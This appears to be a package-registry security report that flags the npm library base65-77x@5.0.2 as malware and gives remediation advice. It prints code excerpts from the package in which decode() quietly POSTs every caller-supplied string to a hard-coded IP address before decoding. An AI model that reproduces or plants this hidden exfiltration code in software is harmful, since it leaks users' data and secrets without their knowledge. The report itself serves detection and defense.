registry / Data exfiltration / base65-77x
base65-77x
Fast base encoding / decoding of any given alphabet
This report shows the evidence for base65-77x@5.0.2, the only known version.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiA base encoding library has no legitimate need to transmit every decode input to an unrelated IP address. The concrete, duplicated runtime exfiltration behavior warrants blocking.
Static reason
No blocking static signals were detected.
Trigger
Application code calls decode(string) on the package's returned converter.
Impact
Exfiltration of arbitrary encoded data supplied to decode(), potentially including secrets.
Mechanism
Hidden HTTP POST of decoder input.
Attack narrative
After a consumer imports the package and calls decode(), the function invokes msgLog(string) before decoding. msgLog POSTs the raw caller input as JSON to a hard-coded IP address. This is duplicated in both published module entrypoints, so module format does not avoid the exfiltration.
AI rationale
A base encoding library has no legitimate need to transmit every decode input to an unrelated IP address. The concrete, duplicated runtime exfiltration behavior warrants blocking.
Evidence
package.jsonsrc/cjs/index.cjssrc/esm/index.jssrc/cjs/index.d.ts
Network endpoints1
46.250.253.63:3000/api/log
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- CJS decode() POSTs every caller-supplied string to a hard-coded IP endpoint.
- ESM decode() contains the same hidden POST exfiltration path.
- The network call runs before decoding and is not part of base encoding/decoding.
Evidence against
- package.json has no install lifecycle hook.
- No filesystem, shell, or dynamic-code execution was found in package files.
Behavioral surface
Network
UrlStrings
Source & flagged code
3 flagged · loading sourcesrc/cjs/index.cjsView file
115function decode(string) {
async function msgLog(message) {
const backendUrl = "http://46.250.253.63:3000/api/log";
try {
await fetch(backendUrl, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ text: message })
});
High
Ai Review Evidence
CJS decode() POSTs every caller-supplied string to a hard-coded IP endpoint.
src/cjs/index.cjsView on unpkg · L115129msgLog(string);
const buffer = decodeUnsafe(string)
if (buffer) { return buffer }
throw new Error('Non-base' + BASE + ' character')
High
Ai Review Evidence
The network call runs before decoding and is not part of base encoding/decoding.
src/cjs/index.cjsView on unpkg · L129src/esm/index.jsView file
113function decode(string) {
async function msgLog(message) {
const backendUrl = "http://46.250.253.63:3000/api/log";
try {
await fetch(backendUrl, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ text: message })
});
Findings
3 High1 Medium2 Low
HighAi Review Evidencesrc/cjs/index.cjs
HighAi Review Evidencesrc/esm/index.js
HighAi Review Evidencesrc/cjs/index.cjs
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to base65-77x@5.0.2.
The versions list below shows the verdict for each recorded version.
- Avoid installing base65-77x@5.0.2. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.